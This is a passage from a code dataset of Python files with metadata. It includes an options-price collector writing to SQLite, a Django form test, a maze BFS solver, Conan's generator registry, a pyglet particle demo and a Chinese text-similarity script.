parser.add_argument('-m', '--getmenu', action='store_true', default=False, required=False, dest='boolmenu', help='Get Restaurant Menus (default disable)')\n parser.add_argument('-w', '--writedata', action='store_true', default=False, required=False, dest='boolwritedata', help='Write Data to Elasticsearch (default disable)')\n args = parser.parse_args()\n pboolrest = args.boolrestaurant\n pboolmenu = args.boolmenu\n pboolwrite = args.boolwritedata\n main()\n\n\n", "sub_path": "process_data_from_justeat.py", "file_name": "process_data_from_justeat.py", "file_ext": "py", "file_size_in_byte": 12912, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.getcwd", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 47, "usage_type": "call"}, {"api_name": "os.system", "line_number": 50, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 51, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 70, "usage_type": "call"}, {"api_name": "os.system", "line_number": 71, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 72, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 94, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 101, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 131, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 188, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 192, "usage_type": "call"}, {"api_name": "shapely.geometry.polygon.Polygon", "line_number": 202, "usage_type": "call"}, {"api_name": "shapely.geometry.polygon.Polygon", "line_number": 213, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 235, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 240, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 256, "usage_type": "call"}, {"api_name": "elasticsearch.Elasticsearch", "line_number": 258, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 259, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 264, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 280, "usage_type": "call"}]} +{"seq_id": "394491106", "text": "import robin_stocks as r\nimport sqlite3\nimport datetime\nfrom time import sleep\nfrom os.path import expanduser\nimport logging\nimport random\n\ndef getData(stock):\n\tprint(stock)\n\ttradable = r.options.find_tradable_options_for_stock(stock)\n\tprice = r.stocks.get_latest_price(stock)[0]\n\tdates = set()\n\tfor option in tradable:\n\t\tdates.add(option['expiration_date'])\n\thome = expanduser('~')\n\tdirectory = home+'/trading/data/'\n\tconn = sqlite3.connect(directory+stock+'.db')\n\tc = conn.cursor()\n\tlogging.basicConfig(filename=home+'/trading/error', level=logging.WARNING)\n\tfor date in dates:\n\t\ttry:\n\t\t\tc.execute('''SELECT count(name) FROM sqlite_master WHERE\n\t\t\t\ttype=\"table\" AND name=\"{0}\" '''.format(date))\n\t\t\tif c.fetchone()[0] == 0:\n\t\t\t\tc.execute('''CREATE TABLE \"{0}\" (\n\t\t\t\t\tstrike_price REAL,\n\t\t\t\t\tupdate_time TEXT,\n\t\t\t\t\ttype TEXT,\n\t\t\t\t\tunderlying_price REAL,\n\t\t\t\t\tbid_price REAL,\n\t\t\t\t\task_price REAL,\n\t\t\t\t\tbid_size INTEGER,\n\t\t\t\t\task_size INTEGER,\n\t\t\t\t\tlow_price REAL,\n\t\t\t\t\thigh_price REAL,\n\t\t\t\t\tmark_price REAL,\n\t\t\t\t\topen_interest INTEGER,\n\t\t\t\t\tvolume INTEGER,\n\t\t\t\t\tchance_of_profit_long REAL,\n\t\t\t\t\tchance_of_profit_short REAL,\n\t\t\t\t\tdelta REAL,\n\t\t\t\t\tgamma REAL,\n\t\t\t\t\trho REAL,\n\t\t\t\t\ttheta REAL,\n\t\t\t\t\tvega REAL,\n\t\t\t\t\timplied_volatility REAL,\n\t\t\t\t\thigh_fill_rate_buy_price REAL,\n\t\t\t\t\thigh_fill_rate_sell_price REAL,\n\t\t\t\t\tlow_fill_rate_buy_price REAL,\n\t\t\t\t\tlow_fill_rate_sell_price REAL\n\t\t\t\t) '''.format(date))\n\t\t\t\tc.execute('CREATE INDEX \"idx_{0}\" ON \"{1}\" (strike_price, update_time)'.format(date, date))\n\t\texcept Exception as e:\n\t\t\tmessage = \"Failed to create table {0}, {1} ---- {2}\".format(date, stock, datetime.datetime.utcnow())\n\t\t\tprint(message)\n\t\t\tlogging.warning(message+'\\n'+str(e))\n\t\ttry:\n\t\t\tdata = r.options.find_options_for_stock_by_expiration(stock, date)\n\t\texcept Exception as e:\n\t\t\tmessage = \"Failed to retrieve option data {0}, {1} ---- {2}\".format(date, stock, datetime.datetime.utcnow())\n\t\t\tprint(message)\n\t\t\tlogging.warning(message+'\\n'+str(e))\n\t\t\tcontinue\n\t\tfor d in data:\n\t\t\tstring = '''INSERT INTO \"{0}\" (\n\t\t\t\t\tstrike_price,\n\t\t\t\t\tupdate_time,\n\t\t\t\t\ttype,\n\t\t\t\t\tunderlying_price,\n\t\t\t\t\tbid_price,\n\t\t\t\t\task_price,\n\t\t\t\t\tbid_size,\n\t\t\t\t\task_size,\n\t\t\t\t\tlow_price,\n\t\t\t\t\thigh_price,\n\t\t\t\t\tmark_price,\n\t\t\t\t\topen_interest,\n\t\t\t\t\tvolume,\n\t\t\t\t\tchance_of_profit_long,\n\t\t\t\t\tchance_of_profit_short,\n\t\t\t\t\tdelta,\n\t\t\t\t\tgamma,\n\t\t\t\t\trho,\n\t\t\t\t\ttheta,\n\t\t\t\t\tvega,\n\t\t\t\t\timplied_volatility,\n\t\t\t\t\thigh_fill_rate_buy_price,\n\t\t\t\t\thigh_fill_rate_sell_price,\n\t\t\t\t\tlow_fill_rate_buy_price,\n\t\t\t\t\tlow_fill_rate_sell_price\n\t\t\t\t) VALUES (\n\t\t\t\t\t{1},\n\t\t\t\t\t\"{2}\",\n\t\t\t\t\t\"{3}\",\n\t\t\t\t\t{4},\n\t\t\t\t\t{5},\n\t\t\t\t\t{6},\n\t\t\t\t\t{7},\n\t\t\t\t\t{8},\n\t\t\t\t\t{9},\n\t\t\t\t\t{10},\n\t\t\t\t\t{11},\n\t\t\t\t\t{12},\n\t\t\t\t\t{13},\n\t\t\t\t\t{14},\n\t\t\t\t\t{15},\n\t\t\t\t\t{16},\n\t\t\t\t\t{17},\n\t\t\t\t\t{18},\n\t\t\t\t\t{19},\n\t\t\t\t\t{20},\n\t\t\t\t\t{21},\n\t\t\t\t\t{22},\n\t\t\t\t\t{23},\n\t\t\t\t\t{24},\n\t\t\t\t\t{25}\n\t\t\t\t) '''.format(\\\n\t\t\t\t\tdate,\\\n\t\t\t\t\tfloat(d['strike_price']) if d['strike_price'] is not None else \"null\",\\\n\t\t\t\t\tdatetime.datetime.utcnow().isoformat(),\\\n\t\t\t\t\td['type'],\\\n\t\t\t\t\tfloat(price) if price is not None else \"null\",\\\n\t\t\t\t\tfloat(d['bid_price']) if d['bid_price'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['ask_price']) if d['ask_price'] is not None else \"null\",\\\n\t\t\t\t\td['bid_size'],\\\n\t\t\t\t\td['ask_size'],\\\n\t\t\t\t\tfloat(d['low_price']) if d['low_price'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['high_price']) if d['high_price'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['adjusted_mark_price']) if d['adjusted_mark_price'] is not None else \"null\",\\\n\t\t\t\t\td['open_interest'],\\\n\t\t\t\t\td['volume'],\\\n\t\t\t\t\tfloat(d['chance_of_profit_long']) if d['chance_of_profit_long'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['chance_of_profit_short']) if d['chance_of_profit_short'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['delta']) if d['delta'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['gamma']) if d['gamma'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['rho']) if d['rho'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['theta']) if d['theta'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['vega']) if d['vega'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['implied_volatility']) if d['implied_volatility'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['high_fill_rate_buy_price']) if d['high_fill_rate_buy_price'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['high_fill_rate_sell_price']) if d['high_fill_rate_sell_price'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['low_fill_rate_buy_price']) if d['low_fill_rate_buy_price'] is not None else \"null\",\\\n\t\t\t\t\tfloat(d['low_fill_rate_sell_price']) if d['low_fill_rate_sell_price'] is not None else \"null\"\\\n\t\t\t\t)\n\t\t\tcommand = ' '.join(string.split())\n\t\t\ttry:\n\t\t\t\tc.execute(command)\n\t\t\texcept Exception as e:\n\t\t\t\tmessage = \"Failed to insert into {0}, {1} ---- {2}\".format(date, stock, datetime.datetime.utcnow())\n\t\t\t\tprint(message)\n\t\t\t\tlogging.warning(message+'\\n'+str(e))\n\tconn.commit()\n\tconn.close()\n\ndef watch(stocks, interval): # interval in seconds, float\n\tstart_time = datetime.datetime.utcnow()\n\tstart_time = start_time - datetime.timedelta(seconds=interval)\n\tend_time = datetime.datetime.utcnow() + datetime.timedelta(hours=1)\n\topen_time = datetime.datetime(year=start_time.year, month=start_time.month, day=start_time.day,\\\n\t\t\thour=13, minute=30)\n\topen_time = open_time - datetime.timedelta(seconds=interval)\n\tclose_time = datetime.datetime(year=start_time.year, month=start_time.month, day=start_time.day,\\\n\t\t\thour=20, minute=0)\n\t#close_time = close_time - datetime.timedelta(seconds=interval)\n\twhile (start_time >= open_time and start_time <= close_time):\n\t\tif (end_time - start_time).total_seconds() >= interval:\n\t\t\tfor stock in stocks:\n\t\t\t\tgetData(stock)\n\t\t\tstart_time = start_time + datetime.timedelta(seconds=interval)\n\t\t\tprint(start_time)\n\t\tend_time = datetime.datetime.utcnow()\n\t\tsleep(random.randint(2,10))\n\n", "sub_path": "Options.py", "file_name": "Options.py", "file_ext": "py", "file_size_in_byte": 5682, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "robin_stocks.options.find_tradable_options_for_stock", "line_number": 11, "usage_type": "call"}, {"api_name": "robin_stocks.options", "line_number": 11, "usage_type": "attribute"}, {"api_name": "robin_stocks.stocks.get_latest_price", "line_number": 12, "usage_type": "call"}, {"api_name": "robin_stocks.stocks", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 16, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 20, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "attribute"}, {"api_name": "logging.warning", "line_number": 57, "usage_type": "call"}, {"api_name": "robin_stocks.options.find_options_for_stock_by_expiration", "line_number": 59, "usage_type": "call"}, {"api_name": "robin_stocks.options", "line_number": 59, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 61, "usage_type": "attribute"}, {"api_name": "logging.warning", "line_number": 63, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 121, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 121, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 150, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 150, "usage_type": "attribute"}, {"api_name": "logging.warning", "line_number": 152, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 157, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 157, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 158, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 159, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 159, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 159, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 160, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 162, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 163, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 170, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 172, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 172, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 173, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 173, "usage_type": "call"}]} +{"seq_id": "199838795", "text": "from django.core.urlresolvers import reverse\n\nfrom volunteers.forms import CreateVolunteerProfileForm\nfrom volunteers.models import Volunteer\nfrom .test_setup import SetUpVolunteerManagerAccount\n\n\nclass CreateVolunteerFormTests(SetUpVolunteerManagerAccount):\n def test_create_volunteer_form(self):\n form_data = {\n 'first_name': 'create_volunteer_form',\n 'last_name': 'user',\n 'email': 'create_volunteer_form@gmail.com',\n 'zip_code': '77000'\n }\n form = CreateVolunteerProfileForm(data=form_data)\n form.is_valid()\n self.assertTrue(form.is_valid())\n form.save()\n volunteer = Volunteer.objects.get(\n username='create_volunteer_formuser',\n volunteerprofile__zip_code=form_data['zip_code']\n )\n\n # Names are returned capitilized\n self.assertEquals(volunteer.username, \"create_volunteer_formuser\")\n self.assertEquals(volunteer.first_name, \"Create_Volunteer_Form\")\n self.assertEquals(volunteer.last_name, \"User\")\n\n def test_create_volunteer_form_user_exists(self):\n request = self.factory.get(reverse('volunteers:create-volunteer'))\n request.user = self.volunteer_manager\n form_data = {\n 'first_name': self.volunteer.first_name,\n 'last_name': self.volunteer.last_name,\n 'email': self.volunteer.email,\n 'zip_code': self.volunteer.volunteerprofile.zip_code\n }\n form = CreateVolunteerProfileForm(data=form_data)\n self.assertFalse(form.is_valid())\n", "sub_path": "src/volunteers/tests/test_forms_create_volunteer.py", "file_name": "test_forms_create_volunteer.py", "file_ext": "py", "file_size_in_byte": 1577, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "test_setup.SetUpVolunteerManagerAccount", "line_number": 8, "usage_type": "name"}, {"api_name": "volunteers.forms.CreateVolunteerProfileForm", "line_number": 16, "usage_type": "call"}, {"api_name": "volunteers.models.Volunteer.objects.get", "line_number": 20, "usage_type": "call"}, {"api_name": "volunteers.models.Volunteer.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "volunteers.models.Volunteer", "line_number": 20, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 31, "usage_type": "call"}, {"api_name": "volunteers.forms.CreateVolunteerProfileForm", "line_number": 39, "usage_type": "call"}]} +{"seq_id": "577936978", "text": "from collections import deque\n\ndef answer(maze):\n h = len(maze)\n w = len(maze[0])\n best = 1e9\n best = min(best, bfs(maze, h, w))\n for i in range(h):\n for j in range(w):\n if maze[i][j] == 1:\n maze[i][j] = 0;\n best = min(best, bfs(maze, h, w))\n maze[i][j] = 1\n return best\n\ndef bfs(maze, h, w):\n seen = set()\n q = deque()\n q.append((0, 0, 1))\n seen.add((0, 0))\n while len(q) > 0:\n curx, cury, dist = q.popleft()\n if curx == h-1 and cury == w-1:\n return dist\n seen.add((curx, cury))\n for i, j in ((1, 0), (-1, 0), (0, 1), (0, -1)):\n if h > curx+i >=0 and w > cury+j >= 0:\n if (curx+i, cury+j) not in seen:\n if maze[curx+i][cury+j] == 0:\n seen.add((curx+i, cury+j))\n q.append((curx+i, cury+j, dist+1))\n return 1e9\n", "sub_path": "misc/maze.py", "file_name": "maze.py", "file_ext": "py", "file_size_in_byte": 939, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "collections.deque", "line_number": 18, "usage_type": "call"}]} +{"seq_id": "631089823", "text": "from os.path import join\n\nfrom conans.client.generators.pkg_config import PkgConfigGenerator\nfrom conans.errors import ConanException\nfrom conans.util.files import save, normalize\n\nfrom .virtualrunenv import VirtualRunEnvGenerator\nfrom .text import TXTGenerator\nfrom .gcc import GCCGenerator\nfrom .cmake import CMakeGenerator\nfrom .qmake import QmakeGenerator\nfrom .qbs import QbsGenerator\nfrom .scons import SConsGenerator\nfrom .visualstudio import VisualStudioGenerator\nfrom .visualstudio_multi import VisualStudioMultiGenerator\nfrom .visualstudiolegacy import VisualStudioLegacyGenerator\nfrom .xcode import XCodeGenerator\nfrom .ycm import YouCompleteMeGenerator\nfrom .virtualenv import VirtualEnvGenerator\nfrom .cmake_multi import CMakeMultiGenerator\nfrom .virtualbuildenv import VirtualBuildEnvGenerator\nfrom .boostbuild import BoostBuildGenerator\n\n\nclass _GeneratorManager(object):\n def __init__(self):\n self._generators = {}\n\n def add(self, name, generator_class):\n if name not in self._generators:\n self._generators[name] = generator_class\n\n @property\n def available(self):\n return list(self._generators.keys())\n\n def __contains__(self, name):\n return name in self._generators\n\n def __getitem__(self, key):\n return self._generators[key]\n\n\nregistered_generators = _GeneratorManager()\n\nregistered_generators.add(\"txt\", TXTGenerator)\nregistered_generators.add(\"gcc\", GCCGenerator)\nregistered_generators.add(\"cmake\", CMakeGenerator)\nregistered_generators.add(\"cmake_multi\", CMakeMultiGenerator)\nregistered_generators.add(\"qmake\", QmakeGenerator)\nregistered_generators.add(\"qbs\", QbsGenerator)\nregistered_generators.add(\"scons\", SConsGenerator)\nregistered_generators.add(\"visual_studio\", VisualStudioGenerator)\nregistered_generators.add(\"visual_studio_multi\", VisualStudioMultiGenerator)\nregistered_generators.add(\"visual_studio_legacy\", VisualStudioLegacyGenerator)\nregistered_generators.add(\"xcode\", XCodeGenerator)\nregistered_generators.add(\"ycm\", YouCompleteMeGenerator)\nregistered_generators.add(\"virtualenv\", VirtualEnvGenerator)\nregistered_generators.add(\"virtualbuildenv\", VirtualBuildEnvGenerator)\nregistered_generators.add(\"virtualrunenv\", VirtualRunEnvGenerator)\nregistered_generators.add(\"boost-build\", BoostBuildGenerator)\nregistered_generators.add(\"pkg_config\", PkgConfigGenerator)\n\n\ndef write_generators(conanfile, path, output):\n \"\"\" produces auxiliary files, required to build a project or a package.\n \"\"\"\n for generator_name in conanfile.generators:\n if generator_name not in registered_generators:\n output.warn(\"Invalid generator '%s'. Available types: %s\" %\n (generator_name, \", \".join(registered_generators.available)))\n else:\n generator_class = registered_generators[generator_name]\n try:\n generator = generator_class(conanfile)\n except TypeError:\n # To allow old-style generator packages to work (e.g. premake)\n output.warn(\"Generator %s failed with new __init__(), trying old one\")\n generator = generator_class(conanfile.deps_cpp_info, conanfile.cpp_info)\n\n try:\n generator.output_path = path\n content = generator.content\n if isinstance(content, dict):\n if generator.filename:\n output.warn(\"Generator %s is multifile. Property 'filename' not used\"\n % (generator_name,))\n for k, v in content.items():\n v = normalize(v)\n output.info(\"Generator %s created %s\" % (generator_name, k))\n save(join(path, k), v)\n else:\n content = normalize(content)\n output.info(\"Generator %s created %s\" % (generator_name, generator.filename))\n save(join(path, generator.filename), content)\n except Exception as e:\n output.error(\"Generator %s(file:%s) failed\\n%s\"\n % (generator_name, generator.filename, str(e)))\n raise ConanException(e)\n", "sub_path": "conans/client/generators/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 4216, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "text.TXTGenerator", "line_number": 46, "usage_type": "argument"}, {"api_name": "gcc.GCCGenerator", "line_number": 47, "usage_type": "argument"}, {"api_name": "cmake.CMakeGenerator", "line_number": 48, "usage_type": "argument"}, {"api_name": "cmake_multi.CMakeMultiGenerator", "line_number": 49, "usage_type": "argument"}, {"api_name": "qmake.QmakeGenerator", "line_number": 50, "usage_type": "argument"}, {"api_name": "qbs.QbsGenerator", "line_number": 51, "usage_type": "argument"}, {"api_name": "scons.SConsGenerator", "line_number": 52, "usage_type": "argument"}, {"api_name": "visualstudio.VisualStudioGenerator", "line_number": 53, "usage_type": "argument"}, {"api_name": "visualstudio_multi.VisualStudioMultiGenerator", "line_number": 54, "usage_type": "argument"}, {"api_name": "visualstudiolegacy.VisualStudioLegacyGenerator", "line_number": 55, "usage_type": "argument"}, {"api_name": "xcode.XCodeGenerator", "line_number": 56, "usage_type": "argument"}, {"api_name": "ycm.YouCompleteMeGenerator", "line_number": 57, "usage_type": "argument"}, {"api_name": "virtualenv.VirtualEnvGenerator", "line_number": 58, "usage_type": "argument"}, {"api_name": "virtualbuildenv.VirtualBuildEnvGenerator", "line_number": 59, "usage_type": "argument"}, {"api_name": "virtualrunenv.VirtualRunEnvGenerator", "line_number": 60, "usage_type": "argument"}, {"api_name": "boostbuild.BoostBuildGenerator", "line_number": 61, "usage_type": "argument"}, {"api_name": "conans.client.generators.pkg_config.PkgConfigGenerator", "line_number": 62, "usage_type": "argument"}, {"api_name": "conans.util.files.normalize", "line_number": 89, "usage_type": "call"}, {"api_name": "conans.util.files.save", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 91, "usage_type": "call"}, {"api_name": "conans.util.files.normalize", "line_number": 93, "usage_type": "call"}, {"api_name": "conans.util.files.save", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "conans.errors.ConanException", "line_number": 99, "usage_type": "call"}]} +{"seq_id": "589258773", "text": "import pyglet\r\nimport random\r\nimport math\r\nfrom pyglet.window import mouse\r\nparticle_number = 10000\r\nwindow_size = 800\r\nwindow = pyglet.window.Window(window_size, window_size)\r\nmouse_pressed = False\r\nmouse_coords = [0, 0]\r\n\r\n@window.event\r\ndef on_mouse_press(x, y, button, modifiers):\r\n if button == mouse.LEFT:\r\n global mouse_pressed\r\n mouse_pressed = True\r\n global mouse_coords\r\n mouse_coords = [x, y]\r\n elif button == mouse.RIGHT:\r\n window.clear()\r\n\r\n@window.event\r\ndef on_mouse_drag(x, y, dx, dy, buttons, modifiers):\r\n global mouse_coords\r\n mouse_coords = [x, y]\r\n\r\n@window.event\r\ndef on_mouse_release(x, y, button, modifiers):\r\n if button == mouse.LEFT:\r\n global mouse_pressed\r\n mouse_pressed = False\r\n\r\n#fps display bit\r\nfps_display = pyglet.clock.ClockDisplay()\r\n@window.event\r\ndef on_draw():\r\n fps_display.draw()\r\n\r\nclass Particle:\r\n def __init__(self, xpos, ypos):\r\n self.pos = [xpos, ypos]\r\n self.velocity = [0, 0]\r\n\r\n#initialization\r\nparticles = [Particle(random.randint(0, window_size), random.randint(0, window_size)) for i in range(particle_number)]\r\nparticle_coords = []\r\nparticle_colours = []\r\nfor i in range(len(particles)):\r\n particle_coords.append(particles[i].pos[0])\r\n particle_coords.append(particles[i].pos[1])\r\nfor j in range(len(particles)):\r\n for i in range(3):\r\n particle_colours.append(random.randint(128, 255))\r\n\r\ndef update_physics():\r\n mc = mouse_coords\r\n global particle_coords\r\n particle_coords = []\r\n \r\n def new_pos(particle):\r\n vector = [mc[0] - particle.pos[0], mc[1] - particle.pos[1]]\r\n magnitude = math.sqrt(vector[0]**2 + vector[1]**2) + 0.000001\r\n unit_vector = [vector[0] / magnitude, vector[1] / magnitude]\r\n particle.velocity = [particle.velocity[0] + unit_vector[0], particle.velocity[1] + unit_vector[1]]\r\n particle.pos = [particle.pos[0] + particle.velocity[0], particle.pos[1] + particle.velocity[1]]\r\n \r\n for particle in particles:\r\n if(mouse_pressed):\r\n new_pos(particle)\r\n \r\n else:\r\n particle.velocity = [0, 0]\r\n particle_coords.append(round(particle.pos[0]))\r\n particle_coords.append(round(particle.pos[1]))\r\n\r\ndef tick(dt):\r\n update_physics()\r\n window.clear()\r\n pyglet.graphics.draw(particle_number, pyglet.gl.GL_POINTS, \r\n ('v2i', particle_coords),\r\n ('c3B', particle_colours)\r\n )\r\n\r\npyglet.clock.schedule_interval(tick, 1/60)\r\npyglet.app.run()\r\n", "sub_path": "particles.py", "file_name": "particles.py", "file_ext": "py", "file_size_in_byte": 2544, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pyglet.window.Window", "line_number": 7, "usage_type": "call"}, {"api_name": "pyglet.window", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pyglet.window.mouse.LEFT", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pyglet.window.mouse", "line_number": 13, "usage_type": "name"}, {"api_name": "pyglet.window.mouse.RIGHT", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pyglet.window.mouse", "line_number": 18, "usage_type": "name"}, {"api_name": "pyglet.window.mouse.LEFT", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pyglet.window.mouse", "line_number": 28, "usage_type": "name"}, {"api_name": "pyglet.clock.ClockDisplay", "line_number": 33, "usage_type": "call"}, {"api_name": "pyglet.clock", "line_number": 33, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 44, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 52, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 61, "usage_type": "call"}, {"api_name": "pyglet.graphics.draw", "line_number": 78, "usage_type": "call"}, {"api_name": "pyglet.graphics", "line_number": 78, "usage_type": "attribute"}, {"api_name": "pyglet.gl", "line_number": 78, "usage_type": "attribute"}, {"api_name": "pyglet.clock.schedule_interval", "line_number": 83, "usage_type": "call"}, {"api_name": "pyglet.clock", "line_number": 83, "usage_type": "attribute"}, {"api_name": "pyglet.app.run", "line_number": 84, "usage_type": "call"}, {"api_name": "pyglet.app", "line_number": 84, "usage_type": "attribute"}]} +{"seq_id": "630650996", "text": "from time import time\r\nstart_nb = time()\r\nfrom jpype import *\r\nimport json\r\nstartJVM(getDefaultJVMPath(), \"-Djava.class.path=D:\\zlxNLP\\hanlp-1.7.1.jar;D:\\zlxNLP\", \"-Xms1g\", \"-Xmx1g\") # 启动JVM，Linux需替换分号;为冒号:\r\n# print(\"=\"*30+\"HanLP分词\"+\"=\"*30)\r\nHanLP = JClass('com.hankcs.hanlp.HanLP')\r\n\r\n# Initialize logging.\r\nimport logging\r\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s')\r\n\r\nstart = time()\r\nimport os\r\n\r\nfrom gensim.models import KeyedVectors\r\nif not os.path.exists('D:\\zlxNLP\\semantic_similarity\\dataForTest\\sgns.sogou.txt'):\r\n raise ValueError(\"SKIP: You need to download the google news model\")\r\n\r\nmodel = KeyedVectors.load_word2vec_format('D:\\zlxNLP\\semantic_similarity\\dataForTest\\sgns.sogou.txt', binary=False)\r\n\r\nprint('Cell took %.2f seconds to run.' % (time() - start))\r\n\r\n\r\nsentence_obama=['我','爱','漫威']\r\nsentence_president=['我','喜欢','漫威','电影']\r\ndistance = model.wmdistance(sentence_obama, sentence_president)\r\nprint('distance = %.4f' % distance)\r\nsentence_orange =['我','是','漫威迷']\r\ndistance = model.wmdistance(sentence_obama, sentence_orange)\r\nprint('distance = %.4f' % distance)\r\n# Normalizing word2vec vectors.\r\nstart = time()\r\nmodel.init_sims(replace=True) # Normalizes the vectors in the word2vec class.\r\ndistance = model.wmdistance(sentence_obama, sentence_president) # Compute WMD as normal.\r\nprint('distance = %.4f' % distance)\r\ndistance = model.wmdistance(sentence_obama, sentence_orange)\r\nprint('distance = %.4f' % distance)\r\n\r\nprint('Cell took %.2f seconds to run.' %(time() - start))\r\n\r\nif __name__ == '__main__':\r\n #第一步分词\r\n # segmentFile=open(\"D:/zlxNLP/semantic_similarity/dataForTest/pear_summary_segment.txt\",'w', encoding='UTF-8')\r\n # for line in open(\"D:/zlxNLP/semantic_similarity/dataForTest/pear_summary.txt\",'r', encoding='UTF-8'):\r\n # content=line.replace('\\n','').split('\\t')\r\n # #运用hanlp分词，#运用wmd计算summary的相似度\r\n # if len(content)==2:\r\n # # 中文分词\r\n # summary_term_list= HanLP.segment(content[1]) #分词不要词性,分词后需要过滤掉标点符号\r\n # # print([str(i.word) for i in summary_term_list and if i.nature.find('w')==-1 ])\r\n # summaryWords= '|'.join([str(i.word) for i in summary_term_list])\r\n # print(summaryWords)\r\n # # segmentFile.write(summaryWords+'\\n')\r\n '''\r\n #训练过程\r\n #分词结束，读取全部内容\r\n logfile=open(\"D:/zlxNLP/semantic_similarity/dataForTest/summary_sim.txt\",'w', encoding='UTF-8')\r\n 